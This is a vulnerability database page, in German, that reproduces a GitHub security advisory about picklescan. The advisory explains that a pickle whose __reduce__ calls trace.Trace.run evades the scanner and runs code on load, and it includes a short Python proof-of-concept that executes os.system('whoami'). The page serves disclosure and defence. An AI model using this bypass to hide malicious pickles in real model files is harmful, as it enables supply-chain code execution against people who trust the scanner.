Mittel

Picklescan has a missing detection when calling built-in python trace.Trace.run

  • Veröffentlicht: 26.08.2025
  • Aktualisiert: 11.10.2026 13:19

Summary

Using trace.Trace.run, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to trace.Trace.run function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

python
class EvilTraceRun:
    def __reduce__(self):
        from trace import Trace
        payload = "__import__('os').system('whoami')"
        return Trace.run, (Trace(), payload)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) picklescan < 0.0.29 0.0.29

Verweise

CVSS-Wert -
Schwäche (CWE)
-
Plattform
Python (PyPI)
Paket
picklescan
Veröffentlicht
26.08.2025
Aktualisiert
11.10.2026 13:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-5qwp-399c-mjwf - CC BY 4.0

Schwachstellenhistorie: picklescan

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
02.2025 03.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 25
  • Mittel 26

Veröffentlichungen pro Jahr

  1. 2025: 51
  2. 2026: 7
Schweregrad:
  1. Picklescan has a missing detection when calling built-in python trace.Trace.run dieser Eintrag
    Mittel CVE-2025-71349 < 0.0.29 0.0.29
  2. Kritisch · 10.0 CVE-2026-3490 < 1.0.4 1.0.4
  3. Kritisch · 9.8 CVE-2026-53873 < 1.0.4 1.0.4
  4. Hoch · 7.5 CVE-2026-53872 < 0.0.35 0.0.35
  5. Hoch · 8.8 CVE-2025-71322 < 0.0.33 0.0.33
  6. Hoch ghsa-vqmv-47xg-9wpr < 0.0.33 0.0.33
  7. Hoch CVE-2025-71320 < 0.0.33 0.0.33
  8. Hoch · 9.8 CVE-2025-71323 < 0.0.33 0.0.33
  9. Hoch CVE-2025-71321 < 0.0.33 0.0.33
  10. Kritisch · 7.8 CVE-2025-10155 < 0.0.31 0.0.31
Mehr anzeigen (12) 21 von 33 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.